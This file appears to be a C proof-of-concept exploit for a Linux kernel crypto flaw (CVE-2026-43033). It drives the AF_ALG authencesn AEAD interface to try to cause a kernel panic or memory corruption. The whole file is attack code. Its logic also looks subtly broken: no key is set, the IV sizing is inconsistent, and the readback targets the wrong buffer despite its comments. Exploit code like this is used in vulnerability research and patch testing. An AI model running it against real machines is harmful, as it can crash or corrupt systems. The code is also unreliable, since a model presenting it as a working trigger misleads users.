/*
* PoC for CVE-2026-43033: Linux Kernel crypto: authencesn OOP decryption issue
* This code attempts to trigger the authencesn decryption path with src != dst.
* Compile: gcc -o poc_cve2026_43033 poc_cve2026_43033.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <linux/if_alg.h>
#include <sys/socket.h>
#include <sys/sendfile.h>
#define SALG_TYPE "aead"
#define SALG_NAME "authencesn(rfc4106(gcm(aes)))"
#define DATA_SIZE 64
#define ASSOC_SIZE 16
void trigger_vulnerability() {
int tfm_fd, op_fd;
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = SALG_TYPE,
.salg_name = SALG_NAME,
};
struct msghdr msg = {};
struct iovec iov;
char cbuf[CMSG_SPACE(sizeof(struct af_alg_iv) + 16)]; // IV space
struct cmsghdr *cmsg;
struct af_alg_iv *iv;
char src_buf[DATA_SIZE + 32]; // Encrypted data + tag
char dst_buf[DATA_SIZE]; // Destination buffer (Different from src)
char assoc_buf[ASSOC_SIZE];
// Initialize buffers
memset(src_buf, 0x41, sizeof(src_buf));
memset(dst_buf, 0x00, sizeof(dst_buf));
memset(assoc_buf, 0x42, sizeof(assoc_buf));
// 1. Create AF_ALG socket
tfm_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (tfm_fd < 0) {
perror("socket(AF_ALG)");
return;
}
// 2. Bind to the authencesn algorithm
if (bind(tfm_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
perror("bind");
close(tfm_fd);
return;
}
// 3. Accept a connection (operation fd)
op_fd = accept(tfm_fd, NULL, 0);
if (op_fd < 0) {
perror("accept");
close(tfm_fd);
return;
}
// 4. Setup MSG for decryption with IV and Assoc data
// Note: Decryption requires setting the proper key and IV beforehand usually
msg.msg_control = cbuf;
msg.msg_controllen = sizeof(cbuf);
cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_IV;
cmsg->cmsg_len = CMSG_LEN(sizeof(*iv) + 8); // 8 bytes IV for GCM
iv = (struct af_alg_iv *)CMSG_DATA(cmsg);
iv->ivlen = 8;
memset(iv->iv, 0x01, 8);
// 5. Send Associated Data
iov.iov_base = assoc_buf;
iov.iov_len = sizeof(assoc_buf);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
if (sendmsg(op_fd, &msg, 0) < 0) {
perror("sendmsg assoc");
}
// 6. Send encrypted data from src_buf
// The kernel will process decryption. If internal logic handles src!=dst incorrectly,
// it may corrupt memory or panic.
iov.iov_base = src_buf;
iov.iov_len = sizeof(src_buf);
// Read back into dst_buf (Simulating out-of-place operation)
ssize_t len = readv(op_fd, &iov, 1); // Usually sendmsg for op, read for result depending on flags
// Alternatively, using sendmsg with op_flags might be needed for specific async flows,
// but this demonstrates the API interaction.
printf("PoC executed. Check kernel logs for panic/memory corruption.\n");
close(op_fd);
close(tfm_fd);
}
int main() {
printf("Attempting to trigger CVE-2026-43033...\n");
trigger_vulnerability();
return 0;
}